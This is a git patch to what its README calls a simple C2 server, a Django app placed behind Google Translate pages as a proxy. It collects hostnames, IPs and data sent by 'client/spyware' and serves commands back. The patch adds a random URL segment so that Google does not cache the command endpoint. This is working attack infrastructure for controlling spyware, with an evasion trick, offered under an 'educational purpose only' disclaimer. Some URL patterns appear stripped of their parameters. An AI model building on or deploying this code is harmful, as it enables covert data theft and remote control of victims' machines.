From 81df4b9467272beec25eb5b95d1c570cdfab4e64 Mon Sep 17 00:00:00 2001 From: Gakamine Date: Fri, 27 Jan 2023 12:40:24 -0500 Subject: [PATCH] Prevent Google cache --- README.md | 3 ++- collector/urls.py | 2 +- collector/views.py | 2 +- 3 files changed, 4 insertions(+), 3 deletions(-) diff --git a/README.md b/README.md index 6e85d69..a6c7af5 100644 --- a/README.md +++ b/README.md @@ -22,6 +22,7 @@ A simple C2 meant to be used behind Google Translate Webpages as a proxy for dat You can expand the size of the data by editing ``collector\models.py`` and edit the ``max_length=`` for the ``data_content`` field. ### Sending command -- Fetch the following link from your client/spyware: ``https://your-domain.translate.goog/c///`` +- Fetch the following link from your client/spyware: ``https://your-domain.translate.goog/c///`` + - The random string is used to prevent Google to cache the URL. # FOR EDUCATIONAL PURPOSE ONLY diff --git a/collector/urls.py b/collector/urls.py index 4ab5d98..8b08407 100644 --- a/collector/urls.py +++ b/collector/urls.py @@ -4,7 +4,7 @@ from django.conf import settings urlpatterns = [ - path('c///', views.get_command), + path('c///', views.get_command), path('f//////', views.data_collection), path('////', views.data_collection), path('', views.index) diff --git a/collector/views.py b/collector/views.py index 3596f89..d301083 100644 --- a/collector/views.py +++ b/collector/views.py @@ -27,7 +27,7 @@ def data_collection(request, hostname, ip,data_type,data_content,data_hash=None) data.save() return render(request, 'index.html') -def get_command(request,hostname,ip): +def get_command(request,hostname,ip,random): host=Computer.objects.filter(hostname=hostname,ip_address=ip) if host.exists(): host=host[0]